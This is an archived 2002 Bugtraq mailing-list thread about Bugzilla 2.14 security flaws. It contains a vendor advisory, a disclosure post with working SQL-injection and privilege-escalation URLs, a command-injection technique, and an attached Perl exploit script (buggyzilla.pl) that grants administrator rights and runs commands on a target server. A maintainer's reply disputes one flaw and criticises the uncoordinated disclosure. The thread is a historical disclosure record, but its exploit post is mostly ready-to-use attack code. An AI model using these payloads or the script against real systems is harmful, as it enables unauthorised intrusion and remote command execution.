7752288 2002-01-05 18:45 -0500 /63 rader/ Dave Miller <bugdude1@syndicomm.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-01-06 02:14 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <20372>
Ärende: Security Advisory for Bugzilla v2.15 (cvs20020103) and older
------------------------------------------------------------
From: Dave Miller <bugdude1@syndicomm.com>
To: bugtraq@securityfocus.com
Message-ID: <p05101002b85d4049af2f@[192.168.1.203]>
All users of Bugzilla, the bug-tracking system from mozilla.org, who
are using a version of Bugzilla installed from a downloaded tarball
or package file are strongly recommended to update to version 2.14.1.
All users of Bugzilla who are currently using version 2.15 checked
out of cvs prior to 15 December 2001 are strongly recommended to use
'cvs update' to obtain the current cvs code.
Bugzilla 2.14.1 is a security update; patches from a number of
security-related bugs which have already been applied to the working
source version 2.15 in cvs, have been applied to Bugzilla 2.14 to
create the new stable release 2.14.1, which fixes several security
issues discovered since version 2.14 was released, which we believe
are too serious to wait for our upcoming 2.16 release.
There are many patches that need to be applied to properly close
these holes, so they are not included here. If you will not be
upgrading your system and instead wish to apply these patches to your
existing system, a single patch which can be applied to a Bugzilla
2.14 installation is available at
http://www.bugzilla.org/bugzilla2.14to2.14.1.patch
Complete bug reports for all bugs can be obtained by visiting the
following URL: http://bugzilla.mozilla.org/show_bug.cgi?id=XXXXX
where you replace the XXXXX at the end of the URL with a bug number
as listed below. You may also enter the bug numbers in the "enter a
bug#" box on the main page at http://bugzilla.mozilla.org/ or in the
footer of any other page on bugzilla.mozilla.org.
*** SECURITY ISSUES RESOLVED ***
- Multiple instances of user-account hijacking capability were fixed
(Bugs 54901, 108385, 185516)
- Two occurrences of allowing data protected by Bugzilla's groupset
restrictions to be visible to users outside of those groups were fixes
(Bugs 102141, 108821)
- One instance of an untrusted variable being echoed back to a user
via HTML was fixed (Bug 98146)
- Multiple instances of untrusted variables being passed to SQL
queries were fixed (Bugs 108812, 108822, 109679, 109690)
More detailed summaries of the specific exploits are available in the
release notes, which are available on the project web site.
General information about the Bugzilla bug-tracking system can be
found at http://www.bugzilla.org/
Comments and follow-ups can be directed to the
netscape.public.mozilla.webtools newsgroup or the mozilla-webtools
mailing list (see http://www.mozilla.org/community.html for
directions how to access these forums).
--
Dave Miller
Lead Software Engineer/System Administrator, Syndicomm Online
http://www.syndicomm.com/ bugdude1@syndicomm.com
(7752288) /Dave Miller <bugdude1@syndicomm.com>/(Ombruten)
Kommentar i text 7756293 av David Miller <justdave@syndicomm.com>
7756293 2002-01-05 23:34 -0500 /19 rader/ David Miller <justdave@syndicomm.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-01-07 10:39 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <20397>
Kommentar till text 7752288 av Dave Miller <bugdude1@syndicomm.com>
Ärende: Re: Security Advisory for Bugzilla v2.15 (cvs20020103) and older
------------------------------------------------------------
From: David Miller <justdave@syndicomm.com>
To: bugtraq@securityfocus.com
Message-ID: <p05101006b85d83f68bcb@[192.168.1.203]>
On 1/5/02 6:45 PM -0500, Dave Miller wrote:
> All users of Bugzilla who are currently using version 2.15 checked out of
> cvs prior to 15 December 2001 are strongly recommended to use 'cvs update'
> to obtain the current cvs code.
Correction on this... I missed one when I was fixing the dates in
that before posting it. The last of those patches was checked in on
January 3, 2002, so if you have code from CVS prior to that, you need
to update.
--
Dave Miller justdave@syndicomm.com + justdave@justdave.net
Lead Software Engineer/System Administrator, Syndicomm Online
http://www.syndicomm.com/ http://www.justdave.net/
(7756293) /David Miller <justdave@syndicomm.com>/(Ombruten)
7756057 2002-01-06 12:34 +0100 /166 rader/ funkysh <funkysh@sm.pl>
Sänt av: joel@lysator.liu.se
Importerad: 2002-01-07 09:51 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <20388>
Ärende: Inproper input validation in Bugzilla <=2.14 - exploit
------------------------------------------------------------
From: funkysh <funkysh@sm.pl>
To: <bugtraq@securityfocus.com>
Message-ID: <20020106121520.R49337-200000@kris.top.pl>
Since advisory and patched version is already released, here goes
description of vulnerabilities I discovered in Bugzilla almost year
ago.
1. Creating files on remote server.
-----------------------------------
Nothing spectacular, but this vulnerability may allow us easily
(at least when using Bugzilla with MySQL) to create files on
remote server in some cases, using MySQL's INTO OUTFILE.
long_list.cgi:
my $generic_query = "
select
bugs.bug_id,
...
from bugs,profiles ...
where assign.userid = ... and";
$::FORM{'buglist'} = "" unless exists $::FORM{'buglist'};
foreach my $bug (split(/:/, $::FORM{'buglist'})) {
SendSQL("$generic_query bugs.bug_id = $bug");
[..]
As we can see $::FORM{'buglist'} (submitted by user) isn't quoted
here, also script doesn't check if bug_id is numeric value. So we are
able to add extra SQL command into $generic_query.
ok, let's try.. after login we request:
http://site/bugzilla/long_list.cgi?buglist=1%20INTO%20OUTFILE%20%27/tmp/pussycat%27
We are lucky, if everything works, we'll see only little message:
"Full Text Bug Listing", so we then know file is created. If any
problem occur script will happily inform us.
[funkysh@note] $ ls -l /tmp/pussycat
-rw-rw-rw- 1 mysql mysql 118 Jan 13 20:41 /tmp/pussycat
This may be serious problem if i.e. remote server running PHP, and we
have any writable dir inside DOCUMENT_ROOT reachable from outside, we
can create some evil php script. (Bugzilla by default creates
directory 'data' with permissions sets to 777 afair, it is also not a
problem to find out real path.)
Btw. this one seems to be still unpatched in 2.14.1.
2. Obtaining Bugzilla superuser access.
---------------------------------------
What you can do with your Bugzilla account depends on your groupset,
by default any newly created user have groupset=96 what means:
* Can edit all aspects of any bug.
* Can confirm a bug.
(Get into User preferences and choose Permissions link to see that.)
Why not to become superuser? Nothing easier. Take look into
userprefs.cgi:
sub SaveFooter {
[..]
SendSQL("UPDATE profiles SET mybugslink = '"
. $::FORM{'mybugslink'} .
"' WHERE userid = $userid");
[..]
Once again unquoted user supplied value.
ok,
- once you are in 'User preferences' request following:
http://site/bugzilla/userprefs.cgi?bank=footer&dosave=1&mybugslink=1\
'%20%2cgroupset='9223372036854775807
(9223372036854775807 its just decimal of all 64 permission bits)
- choose Permissions link and you should see:
* Can tweak operating parameters
* Can edit or disable users
* Can create and destroy groups.
* Can create, destroy, and edit components.
* Can create, destroy, and edit keywords.
* Can edit all aspects of any bug.
* Can confirm a bug.
Voila.
3. Executing commands on remote server.
---------------------------------------
After quick look into reports.cgi we can discover this:
sub generate_chart {
my ($data_file, $image_file, $type) = @_;
if (! open FILE, $data_file) {
&die_politely ("The tool which gathers bug counts has not been run yet.");
}
our generate_chart() is called from show_chart() function this way:
if (! is_legal_product ($FORM{'product'})) {
&die_politely ("Unknown product: $FORM{'product'}");
}
...
my $data_file = daily_stats_filename($FORM{product})
...
if (! -e "$graph_dir/$image_file") {
generate_chart("$dir/$data_file", "$graph_dir/$image_file", $type);
}
"product" is user submitted value but it is checked by function
is_legal_product() so we first have to create product with name
of our evil command.. of course normal user cannot add new products
and components but we gained administrator priviledges using vuln 2.
One more thing to pass:
sub daily_stats_filename {
my ($prodname) = @_;
$prodname =~ s/\//-/gs;
return $prodname;
}
Every slash in our command will be replaced with dash ..ouh,
not so good, but we are smart enough to use `echo -e \057` instead
of /.
Notice that exploiting last bug is dependant on availability of
GD modules, since check is done in sub show_chart() :
...
return unless $use_gd;
That's all, a script is attached which exploits second and third
vulnerability to execute commands on remote server running Bugzilla.
regards,
--
funkysh@sm.pl
(7756057) /funkysh <funkysh@sm.pl>/-------(Ombruten)
Bilaga (text/plain) i text 7756058
7756058 2002-01-06 12:34 +0100 /89 rader/ funkysh <funkysh@sm.pl>
Bilagans filnamn: "buggyzilla.pl"
Importerad: 2002-01-07 09:51 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <20389>
Bilaga (text/plain) till text 7756057
Ärende: Bilaga (buggyzilla.pl) till: Inproper input validation in Bugzilla <=2.14 - exploit
------------------------------------------------------------
#!/usr/bin/perl
# Bugzilla <= 2.14 remote exploit - funkysh@sm.pl
# first unpublished release - 13/01/2001
# checked with version 2.12 - 08/05/2001
# checked with version 2.14 - 10/09/2001
sub create_cmd {
$cmd = ";" . $_[0];
$cmd =~ s/\//`echo -e "\\057"`/gs;
$cmd = $cmd . "|";
if (length($cmd) > 64)
{
die ("created cmd string is longer than 64 chars, sorry.\n");
}
$cmd =~ s/([ -~])/sprintf ("%%%x", ord($1))/ge;
return $cmd
}
sub check_perm {
open (RES, "lynx -source \"$host/userprefs.cgi?Bugzilla_login=$login&Bugzilla_password=$password&bank=permissions\"|");
while ($output = <RES>)
{
chomp($output);
if ($output =~ /<LI>Can/)
{
if ($output =~ /edit components/)
{
$perm = 1;
}
$output =~ s/\<LI>/\* /gs;
print (" $output\n");
}
}
return $perm;
}
$perm = 0;
$done = 0;
$superusergroupset = "9223372036854775807";
if (@ARGV < 4)
{
die ("usage: $0 <url> <your_bugzilla_account> <passwd> <cmd>\n",
" e.g.: $0 http://victim.com/bugzilla me\@email.com secret \"touch /tmp/heh\"\n");
}
($host, $login, $password, $cmd) = (@ARGV);
print ("=> checking permissions\n");
if (! check_perm())
{
print ("=> unsufficient groupset, trying to become bugzilla administrator\n");
open (RES, "lynx -source \"$host/userprefs.cgi?Bugzilla_login=$login&Bugzilla_password=$password&bank=footer&dosave=1&mybugslink=1%27%20%2cgroupset=%27$superusergroupset\"|");
}
if (! $perm)
{
if (! check_perm())
{
die ("=> changing groupset failed\n");
}
}
print ("=> permissions ok, creating cmd-product ");
$cmd = (create_cmd($cmd));
open (RES, "lynx -source
\"$host/editproducts.cgi?Bugzilla_login=$login&Bugzilla_password=$password&version=unspecified&product=$cmd&action=new\"|");
while ($output = <RES>)
{
chomp($output);
if ($output =~ /OK, done./)
{
print ("[ok]\n"); $done = 1;
}
}
if (! $done)
{
die ("[failed]\n");
}
print ("=> trying to execute cmd on remote host\n"); open (RES, "lynx
-source
\"$host/reports.cgi?output=show_chart&product=$cmd&datasets=1\"|");
exit(0);
(7756058) /funkysh <funkysh@sm.pl>/-------(Ombruten)
Kommentar i text 7757551 av Henrik Grubbström (Lysator)
7782376 2002-01-08 20:37 -0500 /98 rader/ David Miller <justdave@syndicomm.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-01-11 04:56 av Brevbäraren
Extern mottagare: funkysh <funkysh@sm.pl>
Extern kopiemottagare: bugtraq@securityfocus.net
Mottagare: Bugtraq (import) <20485>
Ärende: Re: Inproper input validation in Bugzilla <=2.14 - exploit
------------------------------------------------------------
From: David Miller <justdave@syndicomm.com>
To: funkysh <funkysh@sm.pl>
Cc: bugtraq@securityfocus.net
Message-ID: <p05101002b8613fe1fdb3@[192.168.1.203]>
On 1/6/02 12:34 PM +0100, funkysh wrote:
> Since advisory and patched version is already released, here goes
> description of vulnerabilities I discovered in Bugzilla almost year
> ago.
So you knew about them a year ago and didn't tell us about them.
That's real community spirit. We could have fixed them a year ago
instead of last week.
> 1. Creating files on remote server.
> -----------------------------------
>
> Nothing spectacular, but this vulnerability may allow us easily
> (at least when using Bugzilla with MySQL) to create files on
> remote server in some cases, using MySQL's INTO OUTFILE.
>
> long_list.cgi:
>
> my $generic_query = "
> select
> bugs.bug_id,
> ...
> from bugs,profiles ...
> where assign.userid = ... and";
>
> $::FORM{'buglist'} = "" unless exists $::FORM{'buglist'};
> foreach my $bug (split(/:/, $::FORM{'buglist'})) {
> SendSQL("$generic_query bugs.bug_id = $bug");
>
> [..]
>
> As we can see $::FORM{'buglist'} (submitted by user) isn't quoted here,
> also script doesn't check if bug_id is numeric value. So we are able to
> add extra SQL command into $generic_query.
>
> ok, let's try.. after login we request:
>
>
>http://site/bugzilla/long_list.cgi?buglist=1%20INTO%20OUTFILE%20%27/tmp/pussycat%27
>
> We are lucky, if everything works, we'll see only little message:
> "Full Text Bug Listing", so we then know file is created. If any problem
> occur script will happily inform us.
>
> [funkysh@note] $ ls -l /tmp/pussycat
>
> -rw-rw-rw- 1 mysql mysql 118 Jan 13 20:41 /tmp/pussycat
>
> This may be serious problem if i.e. remote server running PHP,
> and we have any writable dir inside DOCUMENT_ROOT reachable from
> outside, we can create some evil php script. (Bugzilla by default creates
> directory 'data' with permissions sets to 777 afair, it is also not a
> problem to find out real path.)
>
> Btw. this one seems to be still unpatched in 2.14.1.
So you post this to bugtraq instead of letting us know first so that
we can either
a) Fix it and release a new version before all the hackers discover
it and start exploiting it, or
b) Prove to you privately that this issue does not exist to save you
the embarrassment of being corrected on a public mailing list.
We could have taken case B this time.
You state "if everything works, we'll see only little message: 'Full
Text Bug Listing', so we then know file is created," but this is not
the case. That result is not indicative of whether or not the
exploit succeeded; it only indicates whether or not there were no
valid bugs to display. We should probably print a nicer error
message here, but that's another bug (and a cosmetic one at that).
In the case of this exploit the "buglist" field contains no valid bug
numbers (because we are validating that they are indeed numbers being
passed) and thus will always generate the same result whether or not
the exploit succeeds.
So, to find out if the exploit works we have to look in the
filesystem. Several of us (just to make sure) tried it out with the
CVS tip code, the 2.14.1 branch (as released this last weekend), and
the code running on bugzilla.mozilla.org (which is an earlier CVS
version with these patches applied manually). The exploit works on
none of them (i.e. the file does not get created). We could only get
it to work by commenting out the validation code that was added in
bug 109690 [http://bugzilla.mozilla.org/show_bug.cgi?id=109690] (line
76 of long_list.cgi), so we are confident that this bug has, in fact,
been resolved in the released 2.14.1 version.
--
Dave Miller + justdave@syndicomm.com + justdave@justdave.net
Project Leader + The Bugzilla Project + http://www.bugzilla.org/
(7782376) /David Miller <justdave@syndicomm.com>/(Ombruten)